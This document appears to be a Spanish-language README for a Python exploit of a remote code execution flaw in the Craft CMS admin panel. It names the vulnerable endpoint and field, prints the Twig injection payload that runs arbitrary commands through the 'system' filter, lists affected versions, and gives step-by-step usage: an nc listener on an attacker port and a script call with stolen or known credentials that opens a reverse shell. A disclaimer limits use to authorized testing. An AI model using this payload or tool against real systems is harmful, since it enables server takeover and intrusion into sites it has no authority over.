
Craft CMS RCE mediante condicionales relacionales en el panel de control
Exploit en Python para una vulnerabilidad de RCE en el panel de administración de Craft CMS, activada a través del endpoint admin/actions/element-indexes/count-elements.
La inyección se realiza a través del campo elementIds de una condición RelatedToConditionRule, que es interpretada como Twig en el lado del servidor y explotada mediante el filtro system para ejecutar un comando arbitrario ({{[['<cmd>']|filter('system')]}}).
Vulnerabilidad divulgada por NeoSprings
Versiones afectadas :
>= 5.0.0-RC1, <= 5.9.8>= 4.0.0-beta.1, <= 4.17.3Referencias :
$ git clone https://github.com/0xTatsuki/CVE-2026-31857.git
$ cd CVE-2026-31857
$ pip install -r requirements.txt
$ nc -lvnp <attacker_port>
$ python3 CVE-2026-31857.py -t http://<craftcms_base_url> -u <username> -p <password> -i <attacker_ip> -P <attacker_port>
Esta herramienta se proporciona únicamente con fines educativos y para ejercicios autorizados (CTF, pruebas de penetración contratadas o pruebas locales). Usarla contra cualquier sistema sin autorización explícita es ilegal.